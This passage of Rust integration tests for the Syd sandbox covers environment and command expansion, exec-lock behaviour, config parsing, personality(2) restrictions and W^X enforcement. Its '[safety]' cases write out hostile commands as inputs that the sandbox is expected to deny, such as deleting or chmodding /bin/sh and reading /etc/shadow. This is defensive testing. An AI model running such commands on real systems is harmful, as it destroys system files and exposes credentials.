out_err: None,
out_ret: Some(b"/home"),
},
ExpandTest {
name: "[basic] default expand single variable with curly brackets and default",
arg: b"${TEST:-1}",
env_add: &[],
env_rem: &[b"TEST"],
out_err: None,
out_ret: Some(b"1"),
},
ExpandTest {
name: "[basic] default env expand single variable with curly brackets and default",
arg: b"${TEST:-$DEFAULT}",
env_add: &[(b"DEFAULT", b"1")],
env_rem: &[b"TEST"],
out_err: None,
out_ret: Some(b"1"),
},
ExpandTest {
name: "[basic] double env expand single variable with curly brackets and default",
arg: b"${TEST:-${DEFAULT}}",
env_add: &[(b"DEFAULT", b"1")],
env_rem: &[b"TEST"],
out_err: None,
out_ret: Some(b"1"),
},
ExpandTest {
name: "[timeout] basic time out",
arg: b"$(sleep 5)",
env_add: &[],
env_rem: &[],
out_err: Some(WRDE_TIMEOUT),
out_ret: None,
},
ExpandTest {
name: "[timeout] beat time out",
arg: b"`sleep 2; echo 1`",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"1"),
},
// Test nested command substitution
ExpandTest {
name: "[complex] nested command substitution",
arg: b"$(echo $(echo nested))",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"nested"),
},
// Test multiple variable expansion in one string
ExpandTest {
name: "[complex] multiple variable expansion",
arg: b"$VAR1 and $VAR2",
env_add: &[(b"VAR1", b"hello"), (b"VAR2", b"world")],
env_rem: &[],
out_err: None,
out_ret: Some(b"hello and world"),
},
// Test syntax error with unbalanced curly braces
ExpandTest {
name: "[syntax] unbalanced curly braces",
arg: b"${unbalanced",
env_add: &[],
env_rem: &[],
out_err: Some(WRDE_SYNTAX),
out_ret: None,
},
// Test expansion with recursion limit
ExpandTest {
name: "[complex] recursion limit",
arg: b"${VAR1:-${VAR2:-${VAR3:-$VAR4}}}",
env_add: &[(b"VAR4", b"deep")],
env_rem: &[b"VAR1", b"VAR2", b"VAR3"],
out_err: None,
out_ret: Some(b"deep"),
},
// Test command substitution with pipes.
ExpandTest {
name: "[complex] command with pipes",
arg: b"$(echo syd barrett | tr 's' 'S' | cut -d' ' -f1)",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"Syd"),
},
// Test command substitution that generates an empty replacement
ExpandTest {
name: "[edge] empty command substitution",
arg: b"$(echo)",
env_add: &[],
env_rem: &[],
out_err: Some(WRDE_BADVAL),
out_ret: None,
},
// Test tilde expansion.
ExpandTest {
name: "[tilde] tilde expansion",
arg: b"$(echo ~/subdir)",
env_add: &[(b"HOME", b"/tmp/fakehome")],
env_rem: &[],
out_err: None,
out_ret: Some(b"/tmp/fakehome/subdir"),
},
// Test HOME variable with path suffix.
ExpandTest {
name: "[tilde] HOME with path suffix",
arg: b"$HOME/subdir",
env_add: &[(b"HOME", b"/tmp/fakehome")],
env_rem: &[],
out_err: None,
out_ret: Some(b"/tmp/fakehome/subdir"),
},
// Test WRDE_BADCHAR: pipe character mixed with expansion.
ExpandTest {
name: "[badchar] pipe with expansion trigger",
arg: b"$X|world",
env_add: &[(b"X", b"hello")],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_SYNTAX
} else {
WRDE_BADCHAR
}),
out_ret: None,
},
// Test WRDE_BADCHAR: semicolon mixed with expansion.
ExpandTest {
name: "[badchar] semicolon with expansion trigger",
arg: b"$X;world",
env_add: &[(b"X", b"hello")],
env_rem: &[],
out_err: if cfg!(target_env = "musl") {
None
} else {
Some(WRDE_BADCHAR)
},
out_ret: None,
},
// Test WRDE_BADCHAR: ampersand mixed with expansion.
#[cfg(not(target_env = "musl"))]
ExpandTest {
name: "[badchar] ampersand with expansion trigger",
arg: b"$X&world",
env_add: &[(b"X", b"hello")],
env_rem: &[],
out_err: Some(WRDE_BADCHAR),
out_ret: None,
},
// Test WRDE_BADCHAR: less-than mixed with expansion.
ExpandTest {
name: "[badchar] less-than with expansion trigger",
arg: b"$X<world",
env_add: &[(b"X", b"hello")],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_SYNTAX
} else {
WRDE_BADCHAR
}),
out_ret: None,
},
// Test WRDE_BADCHAR: greater-than mixed with expansion.
ExpandTest {
name: "[badchar] greater-than with expansion trigger",
arg: b"$X>world",
env_add: &[(b"X", b"hello")],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_SYNTAX
} else {
WRDE_BADCHAR
}),
out_ret: None,
},
// Test WRDE_BADCHAR: newline mixed with expansion.
ExpandTest {
name: "[badchar] newline with expansion trigger",
arg: b"$X\nworld",
env_add: &[(b"X", b"hello")],
env_rem: &[],
out_err: if cfg!(target_env = "musl") {
None
} else {
Some(WRDE_BADCHAR)
},
out_ret: None,
},
// Test concatenated variable expansion.
ExpandTest {
name: "[concat] two variables side by side",
arg: b"${A}${B}",
env_add: &[(b"A", b"foo"), (b"B", b"bar")],
env_rem: &[],
out_err: None,
out_ret: Some(b"foobar"),
},
// Test variable embedded in literal text.
ExpandTest {
name: "[concat] variable embedded in literal",
arg: b"prefix_${VAR}_suffix",
env_add: &[(b"VAR", b"middle")],
env_rem: &[],
out_err: None,
out_ret: Some(b"prefix_middle_suffix"),
},
// Test path construction with variables.
ExpandTest {
name: "[concat] path construction with two vars",
arg: b"$DIR/$FILE",
env_add: &[(b"DIR", b"/tmp"), (b"FILE", b"test.txt")],
env_rem: &[],
out_err: None,
out_ret: Some(b"/tmp/test.txt"),
},
// Test triple-nested default fallback.
ExpandTest {
name: "[complex] triple-nested default fallback",
arg: b"${A:-${B:-${C:-final}}}",
env_add: &[],
env_rem: &[b"A", b"B", b"C"],
out_err: None,
out_ret: Some(b"final"),
},
// Test command substitution with printf.
ExpandTest {
name: "[cmdsub] printf command substitution",
arg: b"$(printf '%s' hello)",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"hello"),
},
// Test command substitution reading /dev/null yields empty -> WRDE_BADVAL.
ExpandTest {
name: "[cmdsub] cat /dev/null yields empty output",
arg: b"$(cat /dev/null)",
env_add: &[],
env_rem: &[],
out_err: Some(WRDE_BADVAL),
out_ret: None,
},
// Test reading /dev/zero is accessible: landlock(7) read set.
ExpandTest {
name: "[device] read from /dev/zero succeeds",
arg: b"$(head -c1 /dev/zero | cat -v)",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"^@"),
},
// Test reading /dev/urandom is accessible: landlock(7) read set.
ExpandTest {
name: "[device] read from /dev/urandom succeeds",
arg: b"$(head -c1 /dev/urandom | wc -c | tr -d ' ')",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"1"),
},
// Test writing to /dev/null succeeds: landlock(7) write set.
ExpandTest {
name: "[device] write to /dev/null succeeds",
arg: b"$(:> /dev/null && echo ok)",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"ok"),
},
// Test variable value that contains spaces.
ExpandTest {
name: "[whitespace] variable value with spaces",
arg: b"$GREETING",
env_add: &[(b"GREETING", b"hello world")],
env_rem: &[],
out_err: None,
out_ret: Some(b"hello world"),
},
// Test backtick-style command substitution.
ExpandTest {
name: "[backtick] basic backtick command substitution",
arg: b"`echo ok`",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"ok"),
},
// Test arithmetic expansion.
ExpandTest {
name: "[arithmetic] basic arithmetic expansion",
arg: b"$((2+3))",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"5"),
},
// Test syntax error: unmatched parenthesis.
ExpandTest {
name: "[syntax] unmatched parenthesis",
arg: b"$(echo",
env_add: &[],
env_rem: &[],
out_err: Some(WRDE_SYNTAX),
out_ret: None,
},
// Test expansion with variable set to a single character.
ExpandTest {
name: "[basic] single character variable value",
arg: b"$X",
env_add: &[(b"X", b"Z")],
env_rem: &[],
out_err: None,
out_ret: Some(b"Z"),
},
// Test nested default with outer variable set.
ExpandTest {
name: "[complex] outer variable set overrides inner default",
arg: b"${OUTER:-${INNER:-fallback}}",
env_add: &[(b"OUTER", b"winner")],
env_rem: &[b"INNER"],
out_err: None,
out_ret: Some(b"winner"),
},
// Test command substitution with pipe and tr.
ExpandTest {
name: "[complex] cmdsub with tr transformation",
arg: b"$(echo HELLO | tr 'A-Z' 'a-z')",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"hello"),
},
// Landlock: filesystem write boundary
ExpandTest {
name: "[safety] write to /tmp denied",
arg: b"$(:> /tmp/x && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] write to /etc denied",
arg: b"$(:> /etc/x && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] write to home denied",
arg: b"$(:> ~/x && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] mkdir in /tmp denied",
arg: b"$(mkdir /tmp/d && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] rm /bin/sh denied",
arg: b"$(rm /bin/sh && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] chmod /bin/sh denied",
arg: b"$(chmod 777 /bin/sh && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] symlink creation denied",
arg: b"$(ln -s /etc/passwd /tmp/ln && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
ExpandTest {
name: "[safety] touch in /tmp denied",
arg: b"$(:> /tmp/touchme && echo ok)",
env_add: &[],
env_rem: &[],
out_err: Some(if cfg!(target_env = "musl") {
WRDE_BADVAL
} else {
WRDE_NOSPACE
}),
out_ret: None,
},
// Landlock: filesystem read boundary
ExpandTest {
name: "[safety] read /etc/passwd denied",
arg: b"$(cat /etc/passwd | head -c1 | wc -c | tr -d ' ')",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"0"),
},
ExpandTest {
name: "[safety] read /etc/shadow denied",
arg: b"$(cat /etc/shadow | head -c1 | wc -c | tr -d ' ')",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"0"),
},
ExpandTest {
name: "[safety] path traversal denied",
arg: b"$(cat /../../../etc/shadow | head -c1 | wc -c | tr -d ' ')",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"0"),
},
ExpandTest {
name: "[safety] /dev/tty inaccessible",
arg: b"$(cat /dev/tty | head -c1 | wc -c | tr -d ' ')",
env_add: &[],
env_rem: &[],
out_err: None,
out_ret: Some(b"0"),
},
];
let landlock_supported = syd::landlock::ABI::new_current() >= syd::landlock::ABI::from(1);
if !landlock_supported {
eprintln!("Landlock is not supported, skipping [safety] scenarios.");
}
let mut fails = 0;
let mut skipped = 0;
let tests_len = tests.len();
for test in tests {
if !landlock_supported && test.name.starts_with("[safety]") {
eprintln!("SKIP: {} (Landlock unsupported)", test.name);
skipped += 1;
continue;
}
let mut result_passed = true;
let mut error_message = String::new();
let mut cmd = Command::new("timeout");
if check_timeout_foreground() {
cmd.arg("--foreground");
cmd.arg("--preserve-status");
cmd.arg("--verbose");
}
cmd.arg("-sKILL");
cmd.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()));
cmd.arg(&*SYD_ENV);
for env in test.env_rem {
cmd.env_remove(OsStr::from_bytes(env));
}
for (env, var) in test.env_add {
cmd.env(OsStr::from_bytes(env), OsStr::from_bytes(var));
}
cmd.arg("-e");
cmd.arg(OsStr::from_bytes(test.arg));
cmd.env(ENV_LOG, "debug");
cmd.stderr(Stdio::inherit());
eprintln!("\x1b[93m+ {cmd:?}\x1b[0m");
let output = cmd.output().expect("execute syd-env");
let mycode = output.status.code().unwrap_or(128);
let excode = test.out_err.unwrap_or(0);
if mycode != excode {
result_passed = false;
error_message = format!(
"unexpected exit code {}, expected {}",
wrde2str(mycode),
wrde2str(excode)
);
}
if let Some(out) = test.out_ret {
if output.stdout != out {
result_passed = false;
error_message = format!("unexpected output: {}", HEXLOWER.encode(&output.stdout));
}
}
// Print the test result.
if result_passed {
eprintln!("PASS: {}", test.name);
} else {
eprintln!("FAIL: {} - {error_message}", test.name);
fails += 1;
}
}
if fails == 0 {
let ran = tests_len.saturating_sub(skipped);
if skipped == 0 {
eprintln!("All {tests_len} tests have passed.");
} else {
eprintln!("{ran} of {tests_len} tests have passed, {skipped} skipped.");
std::env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
} else {
eprintln!("{fails} out of {tests_len} tests have failed.");
Err(TestError("OOPS".to_string()))
}
}
fn test_syd_cmd_exec_with_lock_default() -> TestResult {
skip_unless_available!("bash", "sleep");
let status = syd()
.p("off")
.argv(["bash", "-cex"])
.arg(format!(
"
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_cmd_exec_with_lock_on() -> TestResult {
skip_unless_available!("bash", "chmod", "sleep", "true");
let status = syd()
.p("off")
.m("lock:on")
.argv(["bash", "-cex"])
.arg(format!(
"
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_cmd_exec_with_lock_off_1() -> TestResult {
skip_unless_available!("bash", "chmod", "sleep", "true");
let status = syd()
.p("off")
.m("lock:off")
.argv(["bash", "-cex"])
.arg(format!(
"
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_cmd_exec_with_lock_off_2() -> TestResult {
skip_unless_available!("bash", "cat", "chmod", "true");
let status = syd()
.p("off")
.m("lock:off")
.argv(["bash", "-cex"])
.arg(format!(
"
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_cmd_exec_with_lock_exec_1() -> TestResult {
skip_unless_available!("bash", "cat", "chmod", "true");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["bash", "-cex"])
.arg(format!(
"
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_cmd_exec_with_lock_exec_2() -> TestResult {
skip_unless_available!("bash", "cat", "chmod", "true");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["bash", "-cex"])
.arg(format!(
"
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
*SYD_EXEC
))
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_parse_config() -> TestResult {
skip_unless_available!("true");
let conf = "lock:on\n";
let mut file = File::create("conf.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.p("off")
.P("./conf.syd-3")
.args(["--", "true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.p("off")
.P("./conf.syd-3")
.m("lock:exec")
.args(["--", "true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_include_config() -> TestResult {
skip_unless_available!("true");
let idir = " Change\treturn\tsuccess.\tGoing\tand\tcoming\twithout\terror.\tAction\tbrings\tgood\tfortune. ";
create_dir_all(idir)?;
let name =
" Change return success. Going and coming without error.\tAction brings good fortune.";
let conf = "lock:${SYD_LOCK_STATE}\n";
let mut file = File::create(format!("./{idir}/{name}.syd-3"))?;
write!(file, "{conf}")?;
drop(file);
let conf = format!("include {name}.syd-3\n");
let mut file = File::create(format!("./{idir}/conf.syd-3"))?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.env("SYD_LOCK_STATE", "on")
.p("off")
.P(format!("./{idir}/conf.syd-3"))
.argv(["true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
let status = syd()
.env("SYD_LOCK_STATE", "on")
.p("off")
.P(format!("./{idir}/conf.syd-3"))
.m("lock:exec")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_shellexpand_01() -> TestResult {
skip_unless_available!("true");
let conf = "allow/write+${SYD_TEST_OOPS}/***\n";
let mut file = File::create("conf.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.env("SYD_TEST_OOPS", "/home")
.p("off")
.P("./conf.syd-3")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_shellexpand_02() -> TestResult {
skip_unless_available!("true");
let conf = "allow/write+${SYD_TEST_OOPS}\n";
let mut file = File::create("conf.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.env_remove("SYD_TEST_OOPS")
.p("off")
.P("./conf.syd-3")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_shellexpand_03() -> TestResult {
skip_unless_available!("true");
let conf = "allow/write+${SYD_TEST_OOPS:-/home}/***\n";
let mut file = File::create("conf.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.env_remove("SYD_TEST_OOPS")
.p("off")
.P("./conf.syd-3")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_shellexpand_04() -> TestResult {
skip_unless_available!("true");
let conf = "allow/write+${SYD_TEST_OOPS:-}/***\n";
let mut file = File::create("conf.syd-3")?;
write!(file, "{conf}")?;
drop(file);
let status = syd()
.env_remove("SYD_TEST_OOPS")
.p("off")
.P("./conf.syd-3")
.argv(["true"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_uname26() -> TestResult {
// UNAME26 is allowed by default.
//
// nix does not define `Persona::UNAME26` on musl!
const UNAME26: Persona = Persona::from_bits_retain(0x0020000);
let status = syd()
.p("off")
.do_("personality", [UNAME26.bits().to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
// Linux kernel truncates upper bits.
let persona: u64 = UNAME26.bits() as u64 | 0x100000000;
let status = syd()
.p("off")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_read_implies_exec() -> TestResult {
// READ_IMPLIES_EXEC is killed by default.
let status = syd()
.p("off")
.do_(
"personality",
[Persona::READ_IMPLIES_EXEC.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_(
"personality",
[Persona::READ_IMPLIES_EXEC.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::READ_IMPLIES_EXEC.bits() as u64 | 0x100000000;
let status = syd()
.p("off")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_addr_no_randomize() -> TestResult {
// ADDR_NO_RANDOMIZE is killed by default.
let status = syd()
.p("off")
.do_(
"personality",
[Persona::ADDR_NO_RANDOMIZE.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_(
"personality",
[Persona::ADDR_NO_RANDOMIZE.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::ADDR_NO_RANDOMIZE.bits() as u64 | 0x100000000;
let status = syd()
.p("off")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_addr_compat_layout() -> TestResult {
// ADDR_COMPAT_LAYOUT is killed by default.
let status = syd()
.p("off")
.do_(
"personality",
[Persona::ADDR_COMPAT_LAYOUT.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_(
"personality",
[Persona::ADDR_COMPAT_LAYOUT.bits().to_string()],
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::ADDR_COMPAT_LAYOUT.bits() as u64 | 0x100000000;
let status = syd()
.p("off")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if restricting unsafe personality(2) personas work.
fn test_syd_personality_mmap_page_zero() -> TestResult {
// MMAP_PAGE_ZERO is killed by default.
let status = syd()
.p("off")
.do_("personality", [Persona::MMAP_PAGE_ZERO.bits().to_string()])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_("personality", [Persona::MMAP_PAGE_ZERO.bits().to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::MMAP_PAGE_ZERO.bits() as u64 | 0x100000000;
let status = syd()
.p("off")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
let status = syd()
.p("off")
.m("trace/allow_unsafe_personality:1")
.do_("personality", [persona.to_string()])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if allowing UNAME26 work for syd-mdwe(1).
fn test_syd_mdwe_personality_uname26() -> TestResult {
skip_if_mips!(); // No W^X.
// nix does not define `Persona::UNAME26` on musl!
const UNAME26: Persona = Persona::from_bits_retain(0x0020000);
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(Persona::UNAME26.bits().to_string())
.status()
.expect("execute syd-mdwe");
assert_status_ok!(status);
// Linux kernel truncates upper bits.
let persona: u64 = UNAME26.bits() as u64 | 0x100000000;
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(persona.to_string())
.status()
.expect("execute syd-mdwe");
assert_status_ok!(status);
Ok(())
}
// Tests if restricting READ_IMPLIES_EXEC work for syd-mdwe(1).
fn test_syd_mdwe_personality_read_implies_exec() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(Persona::READ_IMPLIES_EXEC.bits().to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::READ_IMPLIES_EXEC.bits() as u64 | 0x100000000;
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(persona.to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// Tests if restricting ADDR_NO_RANDOMIZE work for syd-mdwe(1).
fn test_syd_mdwe_personality_addr_no_randomize() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(Persona::ADDR_NO_RANDOMIZE.bits().to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::ADDR_NO_RANDOMIZE.bits() as u64 | 0x100000000;
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(persona.to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// Tests if restricting ADDR_COMPAT_LAYOUT work for syd-mdwe(1).
fn test_syd_mdwe_personality_addr_compat_layout() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(Persona::ADDR_COMPAT_LAYOUT.bits().to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::ADDR_COMPAT_LAYOUT.bits() as u64 | 0x100000000;
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(persona.to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// Tests if restricting MMAP_PAGE_ZERO work for syd-mdwe(1).
fn test_syd_mdwe_personality_mmap_page_zero() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(Persona::MMAP_PAGE_ZERO.bits().to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
// Linux kernel truncates upper bits.
let persona: u64 = Persona::MMAP_PAGE_ZERO.bits() as u64 | 0x100000000;
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "personality")
.arg(&*SYD_DO)
.arg(persona.to_string())
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills PROT_READ|PROT_EXEC with MAP_ANONYMOUS.
fn test_syd_mdwe_mmap_prot_read_exec_with_map_anonymous() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mmap_prot_read_exec_with_map_anonymous")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills PROT_WRITE|PROT_EXEC with MAP_ANONYMOUS.
fn test_syd_mdwe_mmap_prot_write_exec_with_map_anonymous() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mmap_prot_write_exec_with_map_anonymous")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills mmap at NULL address with MAP_FIXED.
fn test_syd_mdwe_mmap_fixed_null() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mmap_fixed_null")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
if cfg!(target_arch = "s390x") {
// old mmap:
// Params are pointed to by arg[0], offset is in bytes.
// This syscall bypasses our seccomp filter,
// and there is nothing we can do about it due to
// the pointer indirection involved.
assert_status_permission_denied!(status);
} else {
assert_status_sigsys!(status);
}
Ok(())
}
// syd-mdwe(1) kills PROT_EXEC mapping of a previously PROT_READ region.
fn test_syd_mdwe_mprotect_read_to_exec() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mprotect_read_to_exec")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills PROT_WRITE|PROT_EXEC mapping of a previously PROT_READ region.
fn test_syd_mdwe_mprotect_read_to_write_exec() -> TestResult {
skip_if_mips!(); // No W^X.
let status = Command::new(&*SYD_MDWE)
.env("SYD_TEST_DO", "mprotect_read_to_write_exec")
.arg(&*SYD_DO)
.status()
.expect("execute syd-mdwe");
assert_status_sigsys!(status);
Ok(())
}
// syd-mdwe(1) kills PROT_EXEC mapping of a previously PROT_WRITE region.
